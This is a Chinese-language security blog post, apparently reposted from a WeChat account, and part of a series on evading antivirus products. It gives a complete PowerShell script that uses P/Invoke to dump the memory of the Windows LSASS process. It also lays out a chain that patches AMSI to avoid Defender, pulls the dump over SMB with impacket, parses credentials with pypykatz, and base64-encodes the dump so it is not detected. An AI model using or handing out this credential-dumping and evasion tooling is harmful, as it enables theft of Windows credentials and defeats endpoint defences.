卡巴defender火绒360免杀十种方法10: 草船借箭
2023-5-24 08:8:55 Author: 奶牛安全(查看原文) 阅读量:44 收藏

环境

  • 带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
  • 带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。
  • 安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译
  • 本地 Kali Linux 攻击机。

过程

P/Invoke允许从非托管二进制 Windows DLL 访问结构、回调和函数,以便访问可能无法直接从 .NET 获得的原生组件中的底层 API

现在,由于知道它的作用,并且知道可以在 PowerShell 中使用 .NET,这意味着可以从 PowerShell 脚本访问底层 API,如果之前修补 AMSI,我们可以在没有 Defender 监视的情况下运行该脚本。

对于这个PoC,假设想通过 MiniDumpWriteDumpLSASS 进程转储到文件中,该文件在“Dbghelp.dll”中可用。为此,可以利用fortrananodump 工具。但是,它布满了太多defender可识别的特征。相反,可以利用 P/Invoke 编写一个 PowerShell 脚本来执行相同的操作,但可以修补 AMSI 以使其在这样做时变得不可检测。

因此,将为 PoC 使用以下 powershell 代码。

# lsaKiller.ps1
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}

$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}

在此示例中,首先通过 Add-TypeDbghelp.dll 导入 MiniDumpWriteDump 函数,然后从 kernel32.dll 导入 OpenProcessCloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件。

因此,完整的 PoC 如下:

  • 执行 LSASS 转储
  • 使用 impacket-smbclient 下载转储
  • 使用 pypykatz 在本地解析 MiniDump 文件

请注意,最后使用了一个稍微修改过的脚本,该脚本在将转储写入文件之前将其加密为 base64,因为 Defender 将文件检测为 LSASS 转储并将其删除。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489468&idx=1&sn=f01e7b08ddf4a5519ec729a9ef9063bc&chksm=fdf97ca9ca8ef5bf71b5d0bc97fb11d548fbdfb282971e77015aa32b054b12b8f5d9afe66993#rd
如有侵权请联系:admin#unsafe.sh